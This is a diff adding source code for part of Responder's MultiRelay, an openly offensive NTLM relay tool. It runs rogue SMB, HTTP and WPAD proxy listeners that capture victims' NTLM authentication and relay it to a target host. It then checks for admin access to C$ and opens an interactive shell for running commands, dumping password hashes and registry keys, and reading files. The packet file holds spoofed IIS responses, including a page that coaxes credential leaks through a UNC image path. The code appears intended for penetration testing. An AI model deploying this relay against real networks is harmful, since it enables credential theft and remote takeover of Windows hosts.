+    #While there's nothing in our array return false.
+    if any(x in ShellOpen for x in ShellOpen) is False:
+       return False
+    #If there is return True.
+    else:
+       return True
+
+def ConnectToTarget():
+        try:
+            s = socket(AF_INET, SOCK_STREAM)
+            #Override TCP keep-alives
+            s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1)
+            s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15)
+            s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5)
+            # macOS does not have TCP_KEEPIDLE
+            if sys.platform != 'darwin':
+                s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5)
+            s.connect(Host)  
+            return s
+        except:
+            "Cannot connect to target, host down?"
+            sys.exit(1)
+
+class HTTPProxyRelay(BaseRequestHandler):
+     
+    def handle(self):
+
+        try:
+            #Don't handle requests while a shell is open. That's the goal after all.
+            if IsShellOpen():
+               return None
+        except:
+            raise
+
+        s = ConnectToTarget()
+        try:
+            data = self.request.recv(8092)
+            ##First we check if it's a Webdav OPTION request.
+            Webdav = ServeOPTIONS(data)
+            if Webdav:
+                #If it is, send the option answer, we'll send him to auth when we receive a profind.
+                self.request.send(Webdav)
+                data = self.request.recv(4096)
+
+            NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
+            ##Make sure incoming packet is an NTLM auth, if not send HTTP 407.
+	    if NTLM_Auth:
+                #Get NTLM Message code. (1:negotiate, 2:challenge, 3:auth)
+	        Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
+
+		if Packet_NTLM == "\x01":
+                    ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
+                    h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
+                    n = SMBNegoCairo(Data = SMBNegoCairoData())
+                    n.calculate()
+                    packet0 = str(h)+str(n)
+                    buffer0 = longueur(packet0)+packet0
+                    s.send(buffer0)
+                    smbdata = s.recv(2048)
+                    ##Session Setup AndX Request, NTLMSSP_NEGOTIATE
+                    if smbdata[8:10] == "\x72\x00":
+                        head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
+                        t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
+                        t.calculate() 
+                        packet1 = str(head)+str(t)
+                        buffer1 = longueur(packet1)+packet1  
+                        s.send(buffer1)
+                        smbdata = s.recv(2048) #got it here.
+                        
+                    ## Send HTTP Proxy
+	            Buffer_Ans = WPAD_NTLM_Challenge_Ans()
+		    Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
+                    key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing).
+		    self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
+                    data = self.request.recv(8092)
+                    NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
+                    Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9]
+
+                    ##Got NTLM Message 3 from client.
+		    if Packet_NTLM == "\x03":
+	                NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth))
+                        ##Might be anonymous, verify it and if so, send no go to client.
+                        if IsSMBAnonymous(NTLM_Auth):
+                            Response = WPAD_Auth_407_Ans()
+	                    self.request.send(str(Response))
+                            data = self.request.recv(8092)
+                        else:
+                            #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
+                            #and has not attempted before. While at it, let's grab his hash.
+                            Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host)
+
+                            if Username is not None:
+                                head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
+                                t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
+                                t.calculate()
+                                packet1 = str(head)+str(t)
+                                buffer1 = longueur(packet1)+packet1  
+                                print "[+] SMB Session Auth sent."
+                                s.send(buffer1)
+                                smbdata = s.recv(2048)
+   	                        RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
+                                if RunCmd is None:
+                                    s.close()
+                                    return None
+
+	    else:
+                ##Any other type of request, send a 407.
+                Response = WPAD_Auth_407_Ans()
+	        self.request.send(str(Response))
+
+        except Exception:
+	    self.request.close()
+            ##No need to print anything (timeouts, rst, etc) to the user console..
+	    pass
+
+
+class HTTPRelay(BaseRequestHandler):
+     
+    def handle(self):
+
+        try:
+            #Don't handle requests while a shell is open. That's the goal after all.
+            if IsShellOpen():
+               return None
+        except:
+            raise
+
+        try:
+            s = ConnectToTarget()
+
+            data = self.request.recv(8092)
+            ##First we check if it's a Webdav OPTION request.
+            Webdav = ServeOPTIONS(data)
+            if Webdav:
+                #If it is, send the option answer, we'll send him to auth when we receive a profind.
+                self.request.send(Webdav)
+                data = self.request.recv(4096)
+
+            NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
+            ##Make sure incoming packet is an NTLM auth, if not send HTTP 407.
+	    if NTLM_Auth:
+                #Get NTLM Message code. (1:negotiate, 2:challenge, 3:auth)
+	        Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
+
+		if Packet_NTLM == "\x01":
+                    ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
+                    h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
+                    n = SMBNegoCairo(Data = SMBNegoCairoData())
+                    n.calculate()
+                    packet0 = str(h)+str(n)
+                    buffer0 = longueur(packet0)+packet0
+                    s.send(buffer0)
+                    smbdata = s.recv(2048)
+                    ##Session Setup AndX Request, NTLMSSP_NEGOTIATE
+                    if smbdata[8:10] == "\x72\x00":
+                        head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
+                        t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
+                        t.calculate() 
+                        packet1 = str(head)+str(t)
+                        buffer1 = longueur(packet1)+packet1  
+                        s.send(buffer1)
+                        smbdata = s.recv(2048) #got it here.
+                        
+                    ## Send HTTP Response.
+	            Buffer_Ans = IIS_NTLM_Challenge_Ans()
+		    Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
+                    key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing).
+		    self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
+                    data = self.request.recv(8092)
+                    NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
+                    Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9]
+
+                    ##Got NTLM Message 3 from client.
+		    if Packet_NTLM == "\x03":
+	                NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth))
+                        ##Might be anonymous, verify it and if so, send no go to client.
+                        if IsSMBAnonymous(NTLM_Auth):
+                            Response = IIS_Auth_401_Ans()
+	                    self.request.send(str(Response))
+                            data = self.request.recv(8092)
+                        else:
+                            #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
+                            #and has not attempted before. While at it, let's grab his hash.
+                            Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host)
+
+                            if Username is not None:
+                                head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
+                                t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
+                                t.calculate()
+                                packet1 = str(head)+str(t)
+                                buffer1 = longueur(packet1)+packet1  
+                                print "[+] SMB Session Auth sent."
+                                s.send(buffer1)
+                                smbdata = s.recv(2048)
+   	                        RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
+                                if RunCmd is None:
+                                    s.close()
+                                    return None
+
+	    else:
+                ##Any other type of request, send a 407.
+                Response = IIS_Auth_401_Ans()
+	        self.request.send(str(Response))
+
+
+        except Exception:
+	    self.request.close()
+            ##No need to print anything (timeouts, rst, etc) to the user console..
+	    pass
+
+class SMBRelay(BaseRequestHandler):
+     
+    def handle(self):
+
+        try:
+            #Don't handle requests while a shell is open. That's the goal after all.
+            if IsShellOpen():
+               return None
+        except:
+            raise
+
+        s = ConnectToTarget()
+
+        try:
+            data = self.request.recv(4096)
+
+            ##Negotiate proto answer. That's us.
+            if data[8:10] == "\x72\x00":
+                head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc7", pid=pidcalc(data),mid=midcalc(data))
+                t = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(data))
+                packet1 = str(head)+str(t)
+                buffer1 = longueur(packet1)+packet1
+                self.request.send(buffer1)
+                data = self.request.recv(4096)
+
+            ## Make sure it's not a Kerberos auth.
+            if data.find("NTLM") is not -1:
+               ## Start with nego protocol + session setup negotiate to our target.
+               data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s)
+
+            ## Make sure it's not a Kerberos auth.
+            if data.find("NTLM") is not -1:
+                ##Relay all that to our client.
+                if data[8:10] == "\x73\x00":
+                   head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
+                   #NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange.
+                   #Then simply grab the whole session setup packet except the smb header from the client and pass it to the server.
+                   t = smbdata[36:]
+                   packet0 = str(head)+str(t)
+                   buffer0 = longueur(packet0)+packet0
+                   self.request.send(buffer0)
+                   data = self.request.recv(4096)
+            else:
+               #if it's kerberos, ditch the connection.
+               s.close()
+               return None
+
+            if IsSMBAnonymous(data):
+                ##Send logon failure for anonymous logins.
+                head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
+                t = SMBSessEmpty()
+                packet1 = str(head)+str(t)
+                buffer1 = longueur(packet1)+packet1
+                self.request.send(buffer1)
+                #data = self.request.recv(4096) ##Make him feel bad, ditch the connection.
+                s.close()
+                return None
+
+            else:
+                #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
+                #and has not attempted before. While at it, let's grab his hash.
+                Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host)
+                if Username is not None:
+                    ##Got the ntlm message 3, send it over to SMB.
+                    head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
+                    t = data[36:]#Final relay.
+                    packet1 = str(head)+str(t)
+                    buffer1 = longueur(packet1)+packet1  
+                    print "[+] SMB Session Auth sent."
+                    s.send(buffer1)
+                    smbdata = s.recv(4096)
+                    #We're all set, dropping into shell.
+   	            RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
+                    #If runcmd is None it's because tree connect was denied for this user.
+                    #This will only happen once with that specific user account. 
+                    #Let's kill that connection so we can force him to reauth with another account.
+                    if RunCmd is None:
+                        s.close()
+                        return None
+
+                else:
+                   ##Send logon failure, so our client might authenticate with another account.    
+                   head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
+                   t = SMBSessEmpty()
+                   packet1 = str(head)+str(t)
+                   buffer1 = longueur(packet1)+packet1
+                   self.request.send(buffer1)
+                   data = self.request.recv(4096)
+                   s.close()
+                   return None
+
+        except Exception:
+            s.close()
+	    self.request.close()
+            ##No need to print anything (timeouts, rst, etc) to the user console..
+	    pass
+
+
+#Interface starts here.
+def RunShellCmd(data, s, clientIP, Host, Username, Domain):
+    # On this block we do some verifications before dropping the user into the shell.
+    if data[8:10] == "\x73\x6d":
+        print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target."
+        print "[+] Hashes were saved anyways in Responder/logs/ folder.\n"
+        Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
+        return False
+
+    if data[8:10] == "\x73\x8d":
+        print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
+        Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
+        return False
+
+    if data[8:10] == "\x73\x5e":
+        print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
+        return False
+
+    ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:    
+    ## Tree Connect
+    if data[8:10] == "\x73\x00":
+        GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session.
+        head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+        t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
+        t.calculate() 
+        packet1 = str(head)+str(t)
+        buffer1 = longueur(packet1)+packet1  
+        s.send(buffer1)
+        data = s.recv(2048)
+
+    ## Nope he doesn't.
+    if data[8:10] == "\x75\x22":
+        print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
+        Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
+        return False
+
+    # This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. 
+    if data[8:10] == "\x75\xcc":
+        print "[+] Tree Connect AndX denied. Bad Network Name returned."
+        return False
+
+    ## Tree Connect on C$ is successfull.
+    if data[8:10] == "\x75\x00":
+        print "[+] Looks good, "+Username+" has admin rights on C$."
+        head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+        t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
+        t.calculate() 
+        packet1 = str(head)+str(t)
+        buffer1 = longueur(packet1)+packet1  
+        s.send(buffer1)
+        data = s.recv(2048)
+
+    ## Run one command.
+    if data[8:10] == "\x75\x00" and OneCommand != None or Dump:
+        print "[+] Authenticated."
+        if OneCommand != None:
+           print "[+] Running command: %s"%(OneCommand)
+           RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Host)
+        if Dump:
+           print "[+] Dumping hashes"
+           DumpHashes(data, s, Host)
+        os._exit(1)
+
+    ## Drop into the shell.
+    if data[8:10] == "\x75\x00" and OneCommand == None:
+        print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
+        ShowHelp()
+        #Make sure we don't open 2 shell at the same time..
+        global ShellOpen
+        ShellOpen = ["Shell is open"]
+
+    while True:
+
+        ## We either just arrived here or we're back from a command operation, let's setup some stuff.
+        if data[8:10] == "\x75\x00":
+            #start a thread for raw_input, so we can do other stuff while we wait for a command.
+            t = Thread(target=get_command, args=())
+            t.start()
+            t.join()
+            #For now, this is not functionning as expected. The SMB echos are killing the connection
+            #way faster than if we let the connection time_wait (after 2 tree connect [1 IPC & 1 C$]) itself.
+            #So let's use the tree connects wait (average time before timeout:5-12h)
+            """
+            while any(x in Cmd for x in Cmd) is False:
+                SMBKeepAlive(s, data)
+                time.sleep(20)
+                pass
+            """
+
+            ##Grab the commands. Cmd is global in get_command().
+            Read    = re.findall(r'(?<=read )[^\r]*', Cmd[0])
+            RegDump = re.findall(r'(?<=regdump )[^\r]*', Cmd[0])
+            Get     = re.findall(r'(?<=get )[^\r]*', Cmd[0])
+            Help    = re.findall(r'(?<=help)[^\r]*', Cmd[0])
+
+            if Cmd[0] == "exit":
+               print "[+]Returning in relay mode."
+               del Cmd[:]
+               del ShellOpen[:]
+               return None
+
+            ##For all of the following commands we send the data (var:data) returned by the 
+            ##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore. 
+            ##We also clean up the command array when done.
+            if Cmd[0] == "dump":
+               data = DumpHashes(data, s, Host)
+               del Cmd[:]
+
+            if Read:
+               File = Read[0]
+               data = ReadFile(data, s, File, Host)
+               del Cmd[:]
+
+            if Get:
+               File = Get[0]
+               data = GetAfFile(data, s, File, Host)
+               del Cmd[:]
+
+            if RegDump:
+               Key = RegDump[0]
+               data = SaveAKey(data, s, Host, Key)
+               del Cmd[:]
+
+            if Help:
+               ShowHelp()
+               del Cmd[:]
+
+            ##Let go with the command.
+            if any(x in Cmd for x in Cmd):
+                if len(Cmd[0]) > 1:
+                   data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Host)
+                   del Cmd[:]
+
+        if data is None:
+           print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure the server (\\Windows\\Temp\\) is clean\033[0m\n"
+
+        if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop.  
+            head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+            t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")#
+            t.calculate() 
+            packet1 = str(head)+str(t)
+            buffer1 = longueur(packet1)+packet1  
+            s.send(buffer1)
+            data = s.recv(2048)
+
+class ThreadingTCPServer(TCPServer):
+     def server_bind(self):
+          TCPServer.server_bind(self)
+
+ThreadingTCPServer.allow_reuse_address = 1
+ThreadingTCPServer.daemon_threads = True
+
+def serve_thread_tcp(host, port, handler):
+     try:
+          server = ThreadingTCPServer((host, port), handler)
+          server.serve_forever()
+     except: 
+          print color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1)
+
+def main():
+     try:
+          threads = []
+          threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMBRelay,)))
+          threads.append(Thread(target=serve_thread_tcp, args=('', 3128, HTTPProxyRelay,)))
+          threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTPRelay,)))
+          if ExtraPort != 0:
+             threads.append(Thread(target=serve_thread_tcp, args=('', int(ExtraPort), HTTPProxyRelay,)))
+          for thread in threads:
+               thread.setDaemon(True)
+               thread.start()
+
+          while True:
+               time.sleep(1)
+
+     except (KeyboardInterrupt, SystemExit):
+          sys.exit("\rExiting...")
+
+if __name__ == '__main__':
+     main()

tools/MultiRelay/RelayMultiPackets.py

@@ -0,0 +1,990 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import struct
+import os
+from odict import OrderedDict
+import datetime
+from base64 import b64decode, b64encode
+
+class Packet():
+    fields = OrderedDict([
+        ("data", ""),
+    ])
+    def __init__(self, **kw):
+        self.fields = OrderedDict(self.__class__.fields)
+        for k,v in kw.items():
+            if callable(v):
+                self.fields[k] = v(self.fields[k])
+            else:
+                self.fields[k] = v
+    def __str__(self):
+        return "".join(map(str, self.fields.values()))
+
+
+##################HTTP Proxy Relay##########################
+def HTTPCurrentDate():
+    Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
+    return Date
+
+#407 section.
+class WPAD_Auth_407_Ans(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 407 Unauthorized\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("Type",          "Content-Type: text/html\r\n"),
+		("WWW-Auth",      "Proxy-Authenticate: NTLM\r\n"),
+		("Connection",    "Proxy-Connection: close\r\n"),
+		("Cache-Control",    "Cache-Control: no-cache\r\n"),
+		("Pragma",        "Pragma: no-cache\r\n"),
+		("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
+		("Len",           "Content-Length: 0\r\n"),
+		("CRLF",          "\r\n"),
+	])
+
+
+class WPAD_NTLM_Challenge_Ans(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 407 Unauthorized\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("Type",          "Content-Type: text/html\r\n"),
+		("WWWAuth",       "Proxy-Authenticate: NTLM "),
+		("Payload",       ""),
+		("Payload-CRLF",  "\r\n"),
+		("Len",           "Content-Length: 0\r\n"),
+		("CRLF",          "\r\n"),
+	])
+
+	def calculate(self,payload):
+		self.fields["Payload"] = b64encode(payload)
+
+#401 section:
+class IIS_Auth_401_Ans(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 401 Unauthorized\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("Type",          "Content-Type: text/html\r\n"),
+		("WWW-Auth",      "WWW-Authenticate: NTLM\r\n"),
+		("Len",           "Content-Length: 0\r\n"),
+		("CRLF",          "\r\n"),
+	])
+
+class IIS_Auth_Granted(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 200 OK\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("Type",          "Content-Type: text/html\r\n"),
+		("WWW-Auth",      "WWW-Authenticate: NTLM\r\n"),
+		("ContentLen",    "Content-Length: "),
+		("ActualLen",     "76"),
+		("CRLF",          "\r\n\r\n"),
+		("Payload",       "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
+	])
+	def calculate(self):
+		self.fields["ActualLen"] = len(str(self.fields["Payload"]))
+
+class IIS_NTLM_Challenge_Ans(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 401 Unauthorized\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("Type",          "Content-Type: text/html\r\n"),
+		("WWWAuth",       "WWW-Authenticate: NTLM "),
+		("Payload",       ""),
+		("Payload-CRLF",  "\r\n"),
+		("Len",           "Content-Length: 0\r\n"),
+		("CRLF",          "\r\n"),
+	])
+
+	def calculate(self,payload):
+		self.fields["Payload"] = b64encode(payload)
+
+class IIS_Basic_401_Ans(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 401 Unauthorized\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("Type",          "Content-Type: text/html\r\n"),
+		("WWW-Auth",      "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
+		("AllowOrigin",   "Access-Control-Allow-Origin: *\r\n"),
+		("AllowCreds",    "Access-Control-Allow-Credentials: true\r\n"),
+		("Len",           "Content-Length: 0\r\n"),
+		("CRLF",          "\r\n"),
+	])
+
+##################WEBDAV Relay Packet#########################
+class WEBDAV_Options_Answer(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 200 OK\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Allow",         "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"),
+		("Len",           "Content-Length: 0\r\n"),
+		("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"),
+		("Connection",    "Connection: Keep-Alive\r\n"),
+		("Content-Type",  "Content-Type: text/html\r\n"),
+		("CRLF",          "\r\n"),
+	])
+
+##################SMB Relay Packet############################
+def midcalc(data):  #Set MID SMB Header field.
+    return data[34:36]
+
+def uidcalc(data):  #Set UID SMB Header field.
+    return data[32:34]
+
+def pidcalc(data):  #Set PID SMB Header field.
+    pack=data[30:32]
+    return pack
+
+def tidcalc(data):  #Set TID SMB Header field.
+    pack=data[28:30]
+    return pack
+
+#Response packet.
+class SMBRelayNegoAns(Packet):
+	fields = OrderedDict([
+		("Wordcount",                 "\x11"),
+		("Dialect",                   ""),
+		("Securitymode",              "\x03"),
+		("MaxMpx",                    "\x32\x00"),
+		("MaxVc",                     "\x01\x00"),
+		("MaxBuffSize",               "\x04\x41\x00\x00"),
+		("MaxRawBuff",                "\x00\x00\x01\x00"),
+		("SessionKey",                "\x00\x00\x00\x00"),
+		("Capabilities",              "\xfd\xf3\x01\x80"),
+		("SystemTime",                "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
+		("SrvTimeZone",               "\xf0\x00"),
+		("KeyLen",                    "\x00"),
+		("Bcc",                       "\x10\x00"),
+		("Guid",                      os.urandom(16)),
+	])
+
+##Response packet.
+class SMBRelayNTLMAnswer(Packet):
+	fields = OrderedDict([
+		("Wordcount",             "\x04"),
+		("AndXCommand",           "\xff"),
+		("Reserved",              "\x00"),
+		("Andxoffset",            "\x5f\x01"),
+		("Action",                "\x00\x00"),
+		("SecBlobLen",            "\xea\x00"),
+		("Bcc",                   "\x34\x01"),
+                ###NTLMPACKET
+		("Data",                  ""),
+                ###NTLMPACKET
+
+	])
+
+
+#Request packet (no calc):
+class SMBSessionSetupAndxRequest(Packet):
+	fields = OrderedDict([
+		("Wordcount", "\x0c"),
+        	("AndXCommand", "\xff"),
+        	("Reserved","\x00" ),
+       	        ("AndXOffset", "\xec\x00"),              
+        	("MaxBuff","\xff\xff"),
+        	("MaxMPX", "\x32\x00"),
+        	("VCNumber","\x00\x00"),
+        	("SessionKey", "\x00\x00\x00\x00"),
+                ###NTLMPACKET
+		("Data",                  ""),
+                ###NTLMPACKET
+	])
+
+class SMBSessEmpty(Packet):
+	fields = OrderedDict([
+		("Empty",       "\x00\x00\x00"),
+	])
+##################SMB Request Packet##########################
+class SMBHeader(Packet):
+    fields = OrderedDict([
+        ("proto", "\xff\x53\x4d\x42"),
+        ("cmd", "\x72"),
+        ("errorcode", "\x00\x00\x00\x00" ),
+        ("flag1", "\x08"),
+        ("flag2", "\x01\xc8"),
+        ("pidhigh", "\x00\x00"),
+        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+        ("Reserved", "\x00\x00"),
+        ("tid", "\x00\x00"),
+        ("pid", "\x3c\x1b"),
+        ("uid", "\x00\x00"),
+        ("mid", "\x00\x00"),
+    ])
+
+class SMBNegoCairo(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x00"),
+        ("Bcc", "\x62\x00"),
+        ("Data", "")
+    ])
+    
+    def calculate(self):
+        self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
+
+class SMBNegoCairoData(Packet):
+    fields = OrderedDict([
+        ("Separator1","\x02" ),
+        ("Dialect1", "Cairo 0.xa\x00"), #Let's talk Cairo!
+    ])
+
+class SMBSessionSetupAndxNEGO(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x0c"),
+        ("AndXCommand", "\xff"),
+        ("Reserved","\x00" ),
+        ("AndXOffset", "\xec\x00"),              
+        ("MaxBuff","\xff\xff"),
+        ("MaxMPX", "\x32\x00"),
+        ("VCNumber","\x00\x00"),
+        ("SessionKey", "\x00\x00\x00\x00"),
+        ("SecBlobLen","\x4a\x00"),
+        ("Reserved2","\x00\x00\x00\x00"),
+        ("Capabilities", "\xfc\xe3\x01\x80"), 
+        ("Bcc","\xb1\x00"),
+        ##gss api starts here.
+        ("ApplicationHeaderTag","\x60"),
+        ("ApplicationHeaderLen","\x48"),
+        ("AsnSecMechType","\x06"),
+        ("AsnSecMechLen","\x06"),
+        ("AsnSecMechStr","\x2b\x06\x01\x05\x05\x02"),
+        ("ChoosedTag","\xa0"),
+        ("ChoosedTagStrLen","\x3e"),
+        ("NegTokenInitSeqHeadTag","\x30"),
+        ("NegTokenInitSeqHeadLen","\x3c"),
+        ("NegTokenInitSeqHeadTag1","\xA0"),
+        ("NegTokenInitSeqHeadLen1","\x0e"),
+        ("NegTokenInitSeqNLMPTag","\x30"),
+        ("NegTokenInitSeqNLMPLen","\x0c"),
+        ("NegTokenInitSeqNLMPTag1","\x06"),
+        ("NegTokenInitSeqNLMPTag1Len","\x0a"),
+        ("NegTokenInitSeqNLMPTag1Str","\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
+        ("NegTokenInitSeqNLMPTag2","\xa2"),
+        ("NegTokenInitSeqNLMPTag2Len","\x2a"),
+        ("NegTokenInitSeqNLMPTag2Octet","\x04"),
+        ("NegTokenInitSeqNLMPTag2OctetLen","\x28"),
+        ## NTLM packet ##
+        ("Data",                           ""),
+        ## NTLM packet ##
+        ("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
+        ("NativeOs","Windows 2002 Service Pack 3 2600"),
+        ("NativeOsTerminator","\x00\x00"),
+        ("NativeLan","Windows 2002 5.1"),
+        ("NativeLanTerminator","\x00\x00\x00\x00"),
+
+    ])
+    def calculate(self): 
+
+        self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
+        self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le')
+
